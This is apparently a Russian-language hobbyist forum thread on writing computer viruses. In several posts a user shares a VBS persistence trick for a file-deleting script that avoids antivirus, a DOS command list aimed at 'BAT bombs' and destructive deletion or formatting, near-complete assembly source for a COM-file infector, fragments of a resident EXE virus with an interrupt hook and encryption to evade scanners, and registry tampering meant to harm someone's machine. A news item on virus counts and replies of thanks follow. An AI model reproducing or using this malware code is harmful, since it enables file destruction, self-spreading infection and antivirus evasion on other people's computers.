| Вирусмейкинг |
| FankTastic | Дата: Воскресенье, 02 Сентябрь 2007, 17:17 |
Группа: Проверенные
Сообщений: 112
Статус: Offline
| Недавно прикалоло написать вирус на VBS. Написал простенький такой удаляет всё и вся) (ниже показано только его начало в целях безопасности))) антивирем не определялся, одна проблема была с автозагрузкой. В основном вирусы чтобы запускаться со стартом ОС лезут в реестр, а это само по себе уже намёк на нехарошее, чем с доблестью пользуеца любой антивирус. Он отслеживает этот процесс и выдаёт предупреждение о том что процесс пытается прописатьса в реестр для последущего автозапуска. Перевернул весь инет, но путнего нечо не нашол. Идея пришла сама сабой. Есть много способов загружаца, один из способов! Нужно просто скапировать фаил с телом вируса в папку Автозагрузка в C:\Documents and Settings\User\Главное меню\Программы\Автозагрузка. А делается это следующим образом: Code Set FileSystemObject = CreateObject("scripting.filesystemobject") ' задание переменных Set Shell = CreateObject("Wscript.Shell") 'задание переменных Set F = FileSystemObject.GetFile(WScript.ScriptFullName) 'задание переменных For Each Folder In Shell.SpecialFolders 'задание переменных на поиск специальных папок в винде If right(folder,12) = "Автозагрузка" Then 'Поиск специальной папки Автозагрузка F.Copy(folder&"\maza.exe.vbs")' капирование туда тела файла end if next Насколько я знаю этот алгоритм палит только касперский 7-ой версии более ранние необращают никакова внимания и это не зависит от новизны баз
|
|
|
| ()zee | Дата: Вторник, 11 Сентябрь 2007, 15:39 |
|
Группа: Проверенные
Сообщений: 47
Статус: Offline
| Так терь надо ждать конца интернета Однако замутил конкретно)
|
|
|
| FankTastic | Дата: Понедельник, 01 Октябрь 2007, 17:03 |
Группа: Проверенные
Сообщений: 112
Статус: Offline
| нармальна катит главна
|
|
|
| FankTastic | Дата: Вторник, 23 Октябрь 2007, 12:54 |
Группа: Проверенные
Сообщений: 112
Статус: Offline
| Краткий справочник команд DoS, полезных для написания вирусов Все указанные команды работают как в дос так и Windows Перенапровление Ввода вывода DOS: <имя_файла - направить вход из файла (заместо клавиатуры) >имя_файла -направить выход в фаил (заместо манитора) Вместо имени файла можно указывать имя логического устройства: NUL, CON и тп. Внутренние каманды DOS: Все внутренние каманды содержатся в файле Comand.com. В квадратных скобках [] указываются параметры, которые могут отсутствовать в команде, а в <> необхадимые параметры. КОМАНДА: BREAK [параметр] назначение: Переключение режима контроля за нажатием клавиш Ctrl+c ctrl+Break будет контролироваться только в процессе выполнения операций ввода вывода с символьными устройствами BREAK ON нажатие клавиш Ctrl+c ctrl+Break контролируется во время любой операции. Команда пригодится для написания BAT-бомб. КОМАНДА: DEL [Диск:][путь]<имя файла> [/p] использование: удаляет файлы с диска. Можно использовать шаблоны для удаления групп файлов. /p - велит команде запросить потверждение удаления (обычно используется для проверки вируса на себе) команда не удаляет скрытые, системные и файлы для чтения (для их удаления предварительно используется команда ATTRIB). КОМАНДА:REN [диск:][путь]<обьект_1><обьект_2> назначение: переименовывает файлы и каталоги. для перемещения на другой диск используют MOVE КОМАНДА:SET [переменная=[значение]] назначение: отображает, создаёт, редактирует или удаляет переменные среды DOS стандартные переменные: PATH - список каталогов COMSREC - ядро операционной системы КОМАНДЫ ПАКЕТНЫХ ФАЙЛОВ эти каманды могут быть использованы только в пакетных (BAT) файлах. КОМАНДА: CALL имя_файла [параметры] нзначение: вызывает из одного пакетного файла другой.Вызываемый приготавлевается на время исполнения вызываемого пакетного файла.когда вызываемый завершится, вызывающий возобнавляет свою работу со следущей каманды КОМАНДА: FOR %%переменная IN (ряд) [do] команда назначение: повторяет каманду на несколько членоф ряда. КОМАНДА: IF [NOT] условие команда назначение:Разрешает выполнение команд после проверки условия.При использовании NOT выполняется когда условие ложно ВНЕШНИЕ КОМАНДЫ DOS КОМАНДА: ATTRIB [опции] [[диск:]имя_файла] назначение: изменяет атрибуты файла или каталога. опции: Code +(-)а -устонавить(отменить) "архивный" +(-)н - установить(отменить) "скрытый" +(-)R - устонавить(отменить "толька для чтения" +(-)s - устонавить(отменить) "системный" КОМАНДА: DEBUG [[диск:][путь]имя_файла[параметры]] назначение: используется для отладки программ, просмотра двоичного содержания файлов оперативной памяти и тп. КОМАНДА: FIND [/v] [/I] "строка" [диск:][путь]имя_файла назначение: ищет в файлах заданую последовательность символов. (чтобы вирус не заражал сам себя) КОМАНДА: FORMAT диск: [параметры] назначение: форматирует диск /q-быстрое форматирование с возможностью востановления /u-полное форматирование без востановления unformat- команда востановления. Дальше больше! Используя эти команды и многие другие(стандартные) можно создать свой оригенальный вирус=) осталось знать обычные стандартные каманды ДОС и иметь интузиазм с фантазией=)
|
|
|
| FankTastic | Дата: Вторник, 23 Октябрь 2007, 18:58 |
Группа: Проверенные
Сообщений: 112
Статус: Offline
| COM - вирусы Как начинается распространение вируса 1. Автор разрабатывает вирусную программу . для этой цели используется язык ассемблера. 2. Исходный текст программы компилируется, и из него создается исполняемый файл. Начало работы Code prg segment assume cs:prg,ds:prg,es:prg,ss:prg org 100h Директива "assume cs:prg,ds:prg,es:prg,ss:prg" на- значает все сегментные регистры одному сегменту с именем PRG,а директива "org 100h" нужна для резер- вирования места для PSP . Вирус получает управление Code start: jmp vir ;Передача управ- ;ления вирусному ;коду ... org 110h Команда "jmp vir" передает управление вирусному коду, а директива "org 110h" указывает компилято- ру размещать все коды после метки "vir",начиная с адреса 110h .Code vir: push ds ;Сохраним DS ... ;Корректируем mov ax,ds ;регистр DS ... db 05h ;Код команды add_to_ds: dw 0 ; " ADD AX,00h " mov ds,ax ;AX -> DS Восстанавливаем зараженную программу Пусть вирус хранит ис- ходные три байта в области "old_bytes". Code fresh_bytes: mov al,old_bytes mov cs:[100h],al mov al,old_bytes+1 mov cs:[101h],al mov al,old_bytes+2 mov cs:[102h],al Запоминаем содержимое DTA содержимое DTA необходимо сохранить. Code mov cx,80h ;Размер DTA - ;128 байт ... mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива save_dta: mov al,byte ptr cs:[bx];Читаем из DTA ;байт и перено- mov ds:[si],al ;сим его в мас- ;сив ... inc bx ;К новому байту inc si ; loop save_dta ;Цикл 128 раз Ищем подходящий файл Code find_first: mov ah,4eh ;Поиск первого ;файла ... mov cx,00100110b ;archive, system ;hidden lea dx,maska ;Маска для поис- ;ка int 21h jnc r_3 ;Нашли ! jmp restore_dta ;Ошибка ! find_next: mov ah,3eh ;Закроем непод- int 21h ;ходящий файл... jnc r_2 jmp restore_dta ;Файл нельзя за- ;крыть ! r_2: mov ah,4fh ;И найдем сле- int 21h ;дующий ... jnc r_3 ;Файл найден ! jmp restore_dta ;Ошибка ! r_3: mov cx,12 ;Сотрем в буфере lea si,fn ;"fn" имя пред- destroy_name: ;ыдущего файла mov byte ptr [si],0 ; inc si ; loop destroy_name ;Цикл 12 раз ... xor si,si ;И запишем в бу- copy_name: mov al,byte ptr cs:[si+9eh] ;фер имя только cmp al,0 ;что найденного ;файла ... je open ;В конце имени в mov byte ptr ds:fn[si],al ;DTA всегда сто- inc si ;ит ноль, его мы jmp copy_name ;и хотим достичь Имя файла в буфере " fn " необходимо стирать Читаем исходные три байта Code open: mov ax,3d02h ;Открыть файл ;для чтения и ;записи ... lea dx,fn ;Имя файла ... int 21h ; jnc save_bytes jmp restore_dta ;Файл не откры- ;вается ! save_bytes: ;Считаем три ;байта : mov bx,ax ;Сохраним дес- ;криптор в BX mov ah,3fh ;Номер функции mov cx,3 ;Сколько байт ? lea dx,old_bytes ;Буфер для счи- ;тываемых данных int 21h jnc found_size jmp close ;Ошибка ! Выполняем необходимые расчеты Code found_size: mov ax,cs:[09ah] ;Найдем размер ;файла count_size:mov si,ax cmp ax,64000 ;Файл длиннее ;64000 байт ? jna toto ;Нет ... jmp find_next ;Да - тогда он ;нам не подходит toto: test ax,000fh ;Округлим размер jz krat_16 ;до целого числа or ax,000fh ;параграфов в inc ax ;большую сторону krat_16: mov di,ax ;И запишем ок- ;ругленное зна- ;чение в DI ... ;Расчитаем сме- ;щение для пере- ;хода на код ви- ;руса ... sub ax,3 ;Сама команда ;перехода зани- ;мает три байта! mov byte ptr new_bytes[1],al ;Смещение найде- mov byte ptr new_bytes[2],ah ;но ! mov ax,di ;Сколько пара- mov cl,4 ;графов содержит shr ax,cl ;заражаемая про- ;грамма ? dec ax ;Учитываем дейс- ;твие директивы ;ORG 110h ... mov byte ptr add_to_ds,al ;Корректирующее mov byte ptr add_to_ds+1,ah ;число найдено ! Проверяем файл на зараженность Code mov ax,4200h ;Установим ука- xor cx,cx ;затель на пос- dec si ;ледний байт mov dx,si ;файла ... int 21h jnc read_last jmp close ;Ошибка ! read_last: ;И считаем этот mov ah,3fh ;байт в ячейку mov cx,1 ; " last " ... lea dx,last int 21h jc close ;Ошибка !
cmp last,'7' ;" last " =" 7 " jne write_vir ;Нет - дальше jmp find_next ;Да- поищем дру- ;гой файл ... Заражаем COM - программу Code write_vir: mov ax,4200h ;Установим ука- xor cx,cx ;затель на конец mov dx,di ;файла ... int 21h jc close ;При ошибке - ;закроем файл mov ah,40h ;Запишем в файл mov cx,vir_len ;код вируса дли- lea dx,vir ;ной vir_len int 21h jc close ;При ошибке - ;закроем файл write_bytes: mov ax,4200h ;Установим ука- xor cx,cx ;затель на нача- xor dx,dx ;ло файла int 21h jc close ;При ошибке - ;закроем файл mov ah,40h ;Запишем в файл mov cx,3 ;первые три бай- lea dx,new_bytes ;та ( команду int 21h ;перехода ) ... close: mov ah,3eh ;Закроем зара- int 21h ;женный файл ... Восстанавливаем DTA Code restore_dta: mov cx,80h ;Размер DTA - ;128 байт ... mov bx,80h ;Смещение к DTA lea si,old_dta ;Адрес массива dta_fresh: mov al,ds:[si] ;Читаем из мас- ;сива "old_dta" mov byte ptr cs:[bx],al ;байт и перено- ;сим его в DTA inc bx ;К новому байту inc si ; loop dta_fresh ;Цикл 128 раз Передаем управление зараженной программе Code pop ds ;Восстановим ;испорченный DS push cs ;Занесем в стек ;регистр CS db 0b8h ;Код команды jump: dw 100h ;mov ax,100h push ax ;Занесем в стек ;число 100h retf ;Передача управ- ;ления на задан- ;ный адрес ... Область данных вирусной программы Code old_bytes db 0e9h ;Исходные три ;байта заражен- dw vir_len + 0dh ;ной программы old_dta db 128 dup (0) ;Здесь вирус ;хранит исходную ;DTA программы maska db '*.com',0 ;Маска для поис- ;ка файлов ... fn db 12 dup (' '),0 ;Сюда помещается ;имя файла -жер- ;твы ... new_bytes db 0e9h ;Первые три бай- db 00h ;та вируса в db 00h ;файле ... last db 0 ;Ячейка для пос- ;леднего байта db '7' ;Последний байт ;вируса в файле Завершаем запускающую программу Code vir_len equ $-vir ;Длина вирусного ;кода ... prg_end: mov ah,4ch ;Завершение за- INT 21H ;пускающей прог- ;раммы ... db '7' ;Без этого сим- ;вола вирус за- ;разил бы сам ;себя ... prg ends;Все ASM - прог- end start ;раммы заканчи- ;ваются примерно ;так . Материал взят из обычного учебника доступного каждому просто немного упрощён. тоесть не представляет потенциальной опасности для вашего эвм напоминаю, что администрация не несёт никакой ответственности за использование этих данных! Данные можно использовать только для обучения или колекционирования! авторы: г. Житомир, 18.08.1998 И. Коваль По возникшим вопросам вы можете обратиться в эту тему или к автору этой книги .
|
|
|
| FankTastic | Дата: Среда, 24 Октябрь 2007, 13:00 |
Группа: Проверенные
Сообщений: 112
Статус: Offline
| Рассмотрим как с помощью реестра можно навредить недругу=) Реестр - это база данных в которой хранится всё о системе и если там что-нибудь удалить, то комп полетит к чертям. Чтобы попасть в Реестр надо открыть в меню Пуск => Выполнить и написать в открывшемся окне - RegEdit Реестр делится на разделы: ·HKEY_CLASSES_ROOT в этом разделе хранится информация о расширениях файлов, их ассоциаций, данных OLE. ·HKEY_CURRENT_USER относится к текущему пользователю. Если он единственный, то этот раздел полностью совпадает с HKEY_USERS. ·HKEY_LOCAL_MACHINE хранит информацию о конфигурации аппаратных средств, установленных на компьютере. Подразделы HKEY_LOCAL_MACHINE: ·HKEY_USERS содержит информацию о рабочем столе, параметры сети и сведения о пользователях . ·HKEY_CURRENT_CONFIG здесь информация о шрифтах и принтерах. ·HKEY_DYN_DATA хранят сведенья о производительности компьютера В реестре древовидная структура папок слева, и параметры с их значениями справа. Чтобы изменить значение достаточно кликнуть на параметре. Для того, чтобы на компе у неприятеля удалилось что-нибудь из реестра надо ввести в текстовое поле путь к записи в реестре, а для того чтобы задать новое значение или изменить старое нужно ввести путь к информации и значение, которое вы присваиваете. Немного о том, что вы можете сделать, изменяя значения в реестре. Например, классический случай - переименовать корзину. Это можно сделать очень просто, надо найти папку HKEY_CLASSES_ROOT, в нем выберите поле CLSID, где найдите ключ {645FF040-5081-101B-9F08-00AA002F954E}. Щелкнув на ней мышью, вы увидите в правом окне строку Default. Двойной клик на ней – и переименовывайте корзину(Recycle Bin) на любое слово или предложение. С помощью этого редактора вирусов можно изменить это значение программно. Для этого надо перейти в раздел реестр II и написать путь HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\Default , а в Значение указать новое название корзины. Так вы можете создать программу, которая изменяет название корзины. Как видете Редактор Вирусов может использоваться и в мирных целях. Ещё один пример: можно изменить имя и организацию. Для этого надо в разделе HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ найти параметры RegisteredOwner(имя), RegisteredOrganization(организация) и исправить на своё усмотрение. Для владельцев Windows NT только адрес другой: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion. Вообщем, как вы поняли, у реестра безграничные возможности, и их освоение я доверяю вам.
|
|
|
| FankTastic | Дата: Вторник, 04 Декабрь 2007, 09:06 |
Группа: Проверенные
Сообщений: 112
Статус: Offline
| РАЗРАБОТКА EXE - ВИРУСА сначала следует найти PSP первой загруженной в память программы .Это можно сде-лать следующим образом : Code find_psp: push es xor di,di xor ax,ax to_new_seg:inc ax mov es,ax cmp ax,0ffffh- jae free_mem cmp byte ptr es:[di],4dh jne to_new_seg to_test:mov bx,ax add bx,es:[di+3] inc bx mov es,bx cmp byte ptr es:[di],4dh je restore_es cmp byte ptr es:[di],5ah jne to_new_seg restore_es:mov es,ax cmp word ptr es:[di+1],0 je to_new_seg mov bx,es inc bx cmp es:[di+1],bx jne to_new_seg cmp byte ptr es:[di+10h],0cdh jne to_new_seg mov first_psp,es mov cx,es dec es_save cmp es_save,cx jne add_05h pop es jmp fresh_input add_05h:add first_psp,05h PSP располагается в памяти сразу вслед за MCB - блоком,выделенным операционной сис- темой для загрузки программы, а первым байтом PSP должно быть число 0CDh, что и используется в при- веденном фрагменте. Пишем промежуточный обработчик Теперь следует написать " промежуточный " обработ- чик прерывания INT 21h,который должен вызывать си- стемный или вирусный обработчики данного прерыва- ния в зависимости от режима работы процессора Code to_bios: push ax push ds pushf xor ax,ax mov ds,ax cmp word ptr ds:[0006h],0070h jne cs:uuuuu popf pop ds pop ax db 0eah our_21h_ip dw to_new_21h our_21h_cs dw 00h uuuuu:popf pop ds pop ax db 0eah sys_21h_ip dw 00h sys_21h_cs dw 00h code_len equ $ - to_bios Защита от обнаружения вируса в файле Нужно только зашифровать маску для поиска EXE - программ ( *.exe ), и вирус обнаружен не будет.Перед поиском файла - жертвы маска должна быть расшифрована,а в за- раженном файле присутствовать в зашифрованном виде. решение этой задачи: маска расшифровывается вирусной копией, на- ходящейся в памяти, непосредственно перед поиском EXE-файла,а при записи вирусного кода в файл снова шифруется. Вряд-ли DOCTOR WEB станет устанавливать резидентный вирус в память, а потом еще и прове- рять, как он работает. А при простом просмотре или даже прохождении зараженной программы отладчиком можно увидеть только закодированную маску. Материал взят из обычного учебника доступного каждому просто немного упрощён. тоесть не представляет потенциальной опасности для вашего эвм напоминаю, что администрация не несёт никакой ответственности за использование этих данных! Данные можно использовать только для обучения или колекционирования! авторы: г. Житомир, И. Коваль По возникшим вопросам вы можете обратиться в эту тему или к автору этой книги .
|
|
|
| FankTastic | Дата: Пятница, 02 Май 2008, 08:31 |
Группа: Проверенные
Сообщений: 112
Статус: Offline
| К 2008 году число вирусов составит 400 000 Эксперты компании McAfee уверены, что в будущем популярность вирусов будет неуклонно снижаться, хотя общее количество вредоносного ПО несомненно будет расти. Компания McAfee добавила 200 000-ю сигнатуру вируса в антивирусные базы своих продуктов, другие производители вирусов также вплотную подошли к этой отметке. По мнению вирусных аналитиков, в предстоящие два года общее количество вирусов может удвоится и достичь отметки в 400 000 вирусов. Производители антивирусов отмечают, что в последние годы вирусописатели заметно активизировались и каждый год, начиная с 1998-го, становился рекордным по количеству создаваемых вирусов. Незначительный спад произошел лишь в последние 8-10 месяцев, когда злоумышленники перешли на другие виды противоправного ПО. На протяжении 1989 - 1998 годов в антивирусные базы различных вендоров в среднем попали около 50 000 вирусов, другие 50 000 оказались в базах всего через три года, с 1998-го по 2002. Вместе с классическими вирусами аналитики отмечают также рост количества интернет-червей. С 2002 по 2008 годы вирусы появлялись буквально как грибы после дождя, вместе с ними развивались и прочее злонамеренное ПО. Однако случай с вирусами оказался классическим примером того, что количество и качество - величины обратно пропорциональные. В 2004 году было зафиксировано 48 серьезных вирусных эпидемий в компьютерах пользователей всего мира, в 2005 году их количество снизилось до 12, а с 2006 года пока не зафиксировано ни одной по-настоящему серьезной вирусной эпидемии. Однако вирусные аналитики не спешат праздновать победу. Несмотря на снижение количества эпидемий, профессиональный рост хакеров все время растет. Сами атаки стали более адресными и, если раньше вирусописатели создавали компьютерную заразу для того, чтобы показать свои навыки, то теперь хакерами движет желание заработка и кражи закрытых данных. "Сегодня хакеры используют спам и фишинг для проведения своих противозаконных действий", - говорит Джим Куо, вирусный аналитик McAfee Avert Labs. "Когда хакеры создают громкие инциденты, то на это реагируют органы правопорядка и для первых это заканчивается плачевно, а когда применяется метод адресной атаки вероятность шумихи несоизмеримо ниже". Вместе с тем в большом количестве вирусов присутствует и другая сложность - чем больше вирусов находится в базах, тем больше и неповоротливей становятся антивирусы, особенно если проверяют файлы "на лету".
|
|
|
| Musaget | Дата: Вторник, 06 Май 2008, 17:51 |
Группа: Проверенные
Сообщений: 87
Статус: Offline
| FankTastic, спасибо. Очень познавательно.
|
|
|
| FankTastic | Дата: Среда, 07 Май 2008, 15:38 |
Группа: Проверенные
Сообщений: 112
Статус: Offline
| Musaget, Незачто=) работа такая
|
|